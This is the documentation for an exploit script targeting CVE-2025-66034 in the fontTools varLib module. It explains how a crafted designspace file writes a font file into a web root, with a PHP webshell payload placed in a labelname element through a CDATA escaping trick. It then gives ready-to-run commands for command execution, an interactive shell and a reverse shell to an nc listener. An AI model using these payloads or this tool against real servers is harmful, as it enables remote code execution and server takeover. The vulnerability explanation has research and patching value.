
CVE-2025-66034 exploit and documentation
fontTools is a Python library for manipulating font files. Its varLib module processes .designspace files — an XML format that describes how multiple font
masters should be interpolated to produce a variable font.
Two weaknesses exist in the affected versions:
1. Unsanitised output filename
The <variable-font filename="..."> attribute in a designspace file controls where varLib writes the compiled output font. The library performs no validation or normalisation of this path before passing it to the filesystem. An attacker can supply an absolute path or a path traversal sequence to write the output file to any location the process has write access to.
2. XML content passed through to the output
fontTools serialises axis label names from <labelname> elements directly into the output font's name table as raw bytes, without sanitising the content. Any string placed inside a <labelname> block — including PHP code — ends up verbatim in the written file.
Together these two weaknesses allow an attacker who can submit a designspace file to a fontTools-backed web endpoint to write an arbitrary file containing arbitrary content to any writable path on the server.
The designspace file contains two injections.
The first is in the <labelname> element:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
CDATA sections in XML allow arbitrary character data without entity escaping, but they cannot themselves contain the sequence ]]> because that terminates the section. The PHP closing tag ?> would cause a parse error if written naively. The sequence ]]]]><![CDATA[> closes one CDATA section immediately after ]] and opens a new one starting with >, so the final rendered content is <?php system($_REQUEST["cmd"]);?> — syntactically valid PHP — without ever triggering an XML parser error.
The second injection is in the output path:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools constructs the output file handle from this string with no path normalisation. The file is created at that exact location.
varLib requires at least one source font to compile. The master does not need to be a real font — a minimal TTF with a single empty glyph is sufficient to pass validation. The embedded base64 TTF in this exploit was generated with fontTools FontBuilder and contains only a .notdef glyph with a square contour and the minimum required tables (head, hhea, OS/2, cmap, glyf, hmtx, name, post).
The exploit submits the designspace and TTF as a multipart/form-data POST to the web application's font generation endpoint. The server passes the files to varLib.build(). varLib parses the designspace, reads the master, compiles the variable font, and writes it to the path specified in filename= — which is the web root.
The written file is a binary font file with the PHP payload embedded inside it. PHP's parser scans files for opening tags rather than requiring the file to consist entirely of PHP. When the web server processes the file as PHP it finds <?php system($_REQUEST["cmd"]);?> and executes it. Everything before and after the tag is emitted as-is and ignored.
The response body is the raw font binary. Command output lands between two predictable landmarks that fontTools writes into the name table:
TestWeight400 — derived from the family and weight class fields in the embedded master TTF]]>ThinMEOW2 — from the French <labelname> element in the designspaceThe exploit slices the response between these two strings and strips residual XML tags with BeautifulSoup to produce clean command output.
pip install requests beautifulsoup4
All three target parameters are required. No defaults are hardcoded.
--process-url Full URL of the font processor endpoint
--shell-url Full URL where the webshell will be reachable after the write
--write-path Filesystem path the server will write the shell to
Optional:
--session PHPSESSID cookie value (if the portal requires authentication)
--no-plant Skip the upload step (shell already planted)
--hostname Label shown in the interactive prompt
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
Start a listener first:
nc -lvnp 4444
Then trigger:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
The reverse shell payload is base64-encoded before transmission to avoid shell metacharacter escaping issues inside the cmd query parameter.
exists in the varLib module's build() function and the designspace parser.